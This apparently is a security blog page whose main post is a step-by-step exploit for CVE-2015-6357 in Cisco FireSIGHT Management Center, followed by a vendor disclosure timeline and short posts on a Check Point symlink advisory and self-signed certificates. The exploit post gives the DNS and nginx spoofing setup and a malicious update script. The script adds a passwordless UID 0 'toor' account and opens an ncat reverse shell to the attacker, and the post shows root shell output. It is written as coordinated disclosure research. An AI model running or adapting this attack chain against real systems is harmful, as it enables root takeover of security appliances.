Monday 16 November 2015

CVE-2015-6357: FirePWNER Exploit for Cisco FireSIGHT Management Center SSL Validation Vulnerability


On its own the Cisco FireSIGHT Management Center Certificate Validation Vulnerability is a medium severity vulnerability with a CVSS of 5.1. However, this vulnerability is an example of why SSL certificate validation is so important. In this exploit I will demonstrate how the vulnerability can be leveraged to obtain privileged remote command execution on a Cisco FireSIGHT system. The exploit chains the SSL validation vulnerability with the software update process on the Cisco FireSIGHT system to trick the target system into downloading a malicious update and executing it to obtain a reverse shell with root privileges.


The Vulnerability

The Cisco FireSIGHT Management Center appliance is used to manage Cisco FirePOWER Intrusion Prevention Systems (IPS), also known as Sourcefire IPS. FireSIGHT is responsible for downloading updated IPS signatures and installing them on managed IPS devices.

The FireSIGHT Management Center allows an administrator to manually initiate an update of the IPS rules or schedule the updates to occur daily/weekly/monthly.

When the FireSIGHT Management Center performs an update it uses the curl UNIX command to perform the download from Sourcefire Support. The invocation of the curl command is passed the -k (aka --insecure) option which tells curl to not validate any SSL certificates presented by the server.

Here is the the ps output of the server downloading an update:

admin@FIRESIGHT01:/var/sf$ ps -auxwww | grep curl
root      8351  0.0  0.0  37396  2708 ?        S    02:02   0:00 /usr/local/bin/curl -k -o /var/sf/updates/

FireSIGHT updates come in the form of a makeself generated shell script that contains both UNIX Bourne shell commands as well as the binary data to be delivered in the update. These shell update shell scripts are executed directly on the FireSIGHT server as the local www user.

An attacker that is able to perform a man in the middle attack against a FireSIGHT server can force it to connect to a spoofed version of the Sourcefire Support web site and download a malicious update script that will execute any command the attacker wishes on the FireSIGHT server.

The SSL Validation vulnerability enables this to occur resulting in the system happily ignoring the attackers spoofed SSL certificate and downloading the malicious update and executing it.

If the curl command were to validate the SSL certificate then it would fail to download the malicious script and protect the FireSIGHT server from the attacker.

This exploit demonstrates the danger of not validating the SSL certificate by exploiting the vulnerability to gain remote command execution as the root user.

The Attack Scenario

The attack scenario is one where an attacker has attained the ability to man in the middle the traffic from the FireSIGHT server to the web site. The simplest way to demonstrate this is to set up a “compromised” DNS server that responds to queries for the domain with the IP address of a web server that the attacker controls.

In a real attack scenario the attacker may use any number of man in the middle techniques to acheive the same means. Such as:

  • DNS cache poisioning
  • ARP spoofing. e.g ettercap.

This exploit was tested against the following FireSIGHT Virtual Appliance versions:

  • 5.2.0
  • 5.3.0
  • 5.4.0

In the PoC below the FireSIGHT server was assigned the IP address

The attacking host was running Kali Linux 2.0 though the set up below should work on any Debian Linux based server. The IP address of the Kali host in the example below is The Kali host is used to run the DNS server as well as the spoofed Sourcefire Support web site.

Set up dnsmasq

The exploit requires the ability to spoof the DNS response for A dnsmasq server is run to provide this capability and act as the “compromised” DNS server.

Install dnsmasq:

root@kali# apt-get install dnsmasq

Configure dnsmasq:

root@kali# cat << EOF > /etc/dnsmasq.d/firepnwer.conf

Edit the IP address on the address line to be the address of the web server you will serve the updates from.

Start dnsmasq:

root@kali# service dnsmasq start

Set up nginx

A web server is required to serve the exploit to the FireSIGHT server when it requests an update.

Install nginx web server:

root@kali# apt-get install nginx

Create a self signed certificate to impersonate

root@kali# mkdir /etc/nginx/ssl

root@kali# openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key \
 -out /etc/nginx/ssl/nginx.crt

Country Name (2 letter code) [AU]:AU
State or Province Name (full name) [Some-State]:New South Wales
Locality Name (eg, city) []:Newcastle
Organization Name (eg, company) [Internet Widgits Pty Ltd]:FirePWNER Exploit.
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []
Email Address []:

Configure nginx by replacing the contents of /etc/nginx/sites-available/default with:

server {
    listen 80 default_server;
    listen [::]:80 default_server;

    listen 443 ssl;

    root /var/www/html;

    index index.html index.htm index.nginx-debian.html;

    ssl_certificate /etc/nginx/ssl/nginx.crt;
    ssl_certificate_key /etc/nginx/ssl/nginx.key;

    location / {
        try_files $uri $uri/ =404;

    # rewrite requests that contain the clients license key
    location ~* /auto-update/auto-dl.cgi/[A-F0-9][A-F0-9]:.* {
        rewrite ^(/auto-update/auto-dl.cgi)/[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]:[A-F0-9][A-F0-9]/(.*)$ $1/$2;

    location /auto-update {
        root /var/www/html/firepwner;


Start nginx:

root@kali# service nginx start

Setting up the exploit

The FirePWNER exploit requires two files to be served from the web server. The first file is the update manifest which is an XML file that contains a list of the updates available, their download location and MD5 hashes.

First you need to create some directories:

root@kali# mkdir \

Then copy the exploit files into them:

root@kali# cp sf.xml /var/www/html/firepwner/auto-update/auto-dl.cgi/GetCurrent/sf.xml
root@kali# cp \

After copying these files you should be able to browse to

Configure the FireSIGHT server DNS

Next, for exploit demonstration purposes, the FireSIGHT server needs to be configured to use the “compromised” DNS server. Login to the FireSIGHT web portal and go to System > Local > Configure > Management Interfaces and set the Primary DNS server to the IP address of the “compromised” DNS server ( and save the change.

Running the Exploit

The exploit uses the ncat command installed by default on the FireSIGHT server to create a reverse shell to the Kali host. On the Kali host you need to listen for the reverse shell connection from the FireSIGHT server:

root@kali# ncat -v -l 4444

Then on the FireSIGHT web portal browse to System > Updates > Rule Updates and select Download new rule update from the Support Site and click the Import button. The server will then download the sf.xml update manifest from the attacker’s server, see that there is an update available and will download the update and execute it as the www user. The update/exploit script below takes advantage of the fact that the www user has a number of sudo commands it can run including useradd. The exploit creates a new toor user with an empty passwd and then uses su to elevate privileges and start a reverse shell connection back to the attackers server.

# add a new UID 0 "toor" user with an empty password
sudo useradd -o -p '$1$FuV6TnrC$rKJCjOHJXuFhl2djLOBmF.' -g root -c toor -u 0 -s /bin/sh \
 -d /root toor
# su to toor and start the reverse shell
echo | su - toor -c "/usr/local/sf/nmap/bin/ncat -e /bin/sh 4444"
exit 0

The exploit script may be changed to run any other desired commands. If the script is changed then the <md5sum> XML tag value in sf.xml must be updated with the new MD5 hash of the exploit script.

This is an example of the output you should see on the Kali host when the exploit is successful and a remote shell on the FireSIGHT server is opened and the id and cat /etc/passwd commands are run:

root@kali# ncat -v -l 4444
Ncat: Version 6.49BETA4 ( )
Ncat: Listening on :::4444
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow

Obtaining the Exploit

The files used in this exploit may be obtained from github.

Disclosure Timeline

  • 2015-08-31 Vulnerability discovered in FireSIGHT 5.4.x and exploit developed by Matthew Flanagan.
  • 2015-09-01 Initial contact made with Cisco PSIRT
  • 2015-09-01 PSIRT responded asking for more information.
  • 2015-09-01 Matthew Flanagan provided PSIRT with full write up and exploit of vulnerability.
  • 2015-09-02 PSIRT raised FireSIGHT defect and incident PSIRT-190974966.
  • 2015-09-15 Matthew Flanagan reported to Cisco PSIRT that versions 5.2.0 and 5.3.0 are also vulnerable.
  • 2015-10-16 PSIRT advised me of the CVSS score they assigned to the vulnerability.
  • 2015-11-09 PSIRT assigned CVE ID CVE-2015-6357.
  • 2015-11-16 Cisco FireSIGHT Management Center Certificate Validation Vulnerability published.
  • 2015-11-16 Matthew Flanagan’s findings published.

Thursday 9 April 2015

Project Repositories Have Moved to GitHub

With Google announcing last month that they are shutting down Google Code I have moved my old and unloved code repositories to GitHub. The main code base that seems to still be in use by others is the Django Full Serializer which I may split out into its own repository one day.

Friday 9 March 2012

Creating Stronger Self-Signed SSL Certificates For Testing

I prefer to use Google Chrome (developer channel) as my web browser and recently it began complaining about the self-signed SSL certificates I was using on a number of internal web applications I have developed. The error Chrome displayed was:

SSL Error Icon
The site's security certificate is signed using a weak signature algorithm!

I originally created the certificates using the instructions in the Apache SSL FAQ. It turns out that this results in SSL certificates that use the weaker MD5 signature hash algorithm which is the cause of the complaint. This is easily fixed by adding '-sha1' to the openssl command line when generating the certificate. Like so:

$ openssl req -new -x509 -sha1 -nodes -out server.crt -keyout server.key

Tuesday 16 August 2011

Security Advisory: Symlink Following and Second-Order Symlink Vulnerabilities in Multiple Check Point Security Management Products

Product: Check Point Security Management:
  • Multi-Domain Security Management / Provider-1
  • SmartCenter
Vulnerable version: multiple products, see sections below
Fixed version: multiple products, see sections below
CVE number: CVE-2011-2664
Impact: high
Found: 2010-08-13
By: Matthew Flanagan

Vendor Product Description

Security Management

Security Management and Multi-Domain Security Management (Provider-1) delivers more security and control by segmenting your security management into multiple virtual domains. Businesses of all sizes can easily create virtual domains based on geography, business unit or security function to strengthen security and simplify management.

UTM-1 Edge

Check Point UTM-1 Edge appliances deliver proven, best-in-class security right out of the box! These simple, all-in-one appliances allow branch offices to deploy comprehensive security quickly and easily. These appliances offer robust performance, powerful central management and advanced wireless options.

Vulnerability Description

A post-installation shell script is executed both in the provisioning of a Security Management Domain and installation of a standalone SmartCenter. The script is used to generate a configuration file for use by the SofaWare Management Server (SMS). The SMS is used to send all configuration changes performed in the SmartCenter/Management Domain to UTM-1 Edge devices. UTM-1 Edge devices also communicate their status to the SmartCenter/Management Domain via SMS.

Due to the combination of inadequate file checks, predictable file names and writing of temporary configuration files to /tmp it is possible for a unprivileged local user to exploit the post-installation script to overwrite arbitrary files on the security management system through symlink following.

The script also contains a second-order symlink vulnerability which makes it possible for an attacker to gain control of the SMS configuration file: $FWDIR/conf/sofaware/SWManagementServer.ini. The SWManagementServer.ini file contains sensitive information and configuration parameters for the management of UTM-1 Edge firewall appliances such as firmware versions, mail proxies, logging levels, and many timeout and polling intervals for various software components running on the Edge devices.

The likelhood of exploiting this vulnerability on a server running SmartCenter is low due to it only being exploitable during the installation of the software. However, for Management Domains running on a Multi-Domain Management / Provider-1 server the likelihood is much higher as the vulnerability can be exploited every time a new Management Domain is created.


An exploit will not be published.

Vulnerable Versions


On Linux, SecurePlatform and Solaris.


Fixed in R71.40 and R75.20. Other versions can get fix from Check Point
advisory page.


Vendor Contact Timeline

2010-08-16: Contacted Check Point security team security-alert ()
2010-08-16: Vendor responded.
2010-08-16: Provided vulnerability details and exploit to vendor.
2010-08-18: Vendor confirmation of vulnerability.
2010-08-26: Requested a status update from the vendor.
2010-08-28: Vendor: working on a fix and release plan.
2011-05-31: Requested a status update from the vendor.
2011-06-01: Vendor: Fixed in R75. Advisory to be released on 2011-06-15.
2011-06-06: Advised vendor that R75 GA and R75.10 are still vulnerable.
2011-06-06: Applied for CVE number from MITRE.
2011-06-07 - 2011-06-14: Coordinated fix and advisory release with Check Point.
2011-06-14: Sent more details to MITRE.
2011-06-15: Vendor publishes advisory and fix.
2011-06-16: Contacted AusCERT.
2011-07-06: Asked MITRE for status of CVE number allocation.
2011-07-07: Assigned CVE number by MITRE.
2011-08-16: Released advisory.

Tuesday 12 July 2011

SST/JASS 4.2.2 is out

Jason Callaway has posted a new version of SST (aka JASS). The new release of version 4.2.2 addresses a change in passwd behaviour in relation to locking NP accounts.

Download the new version.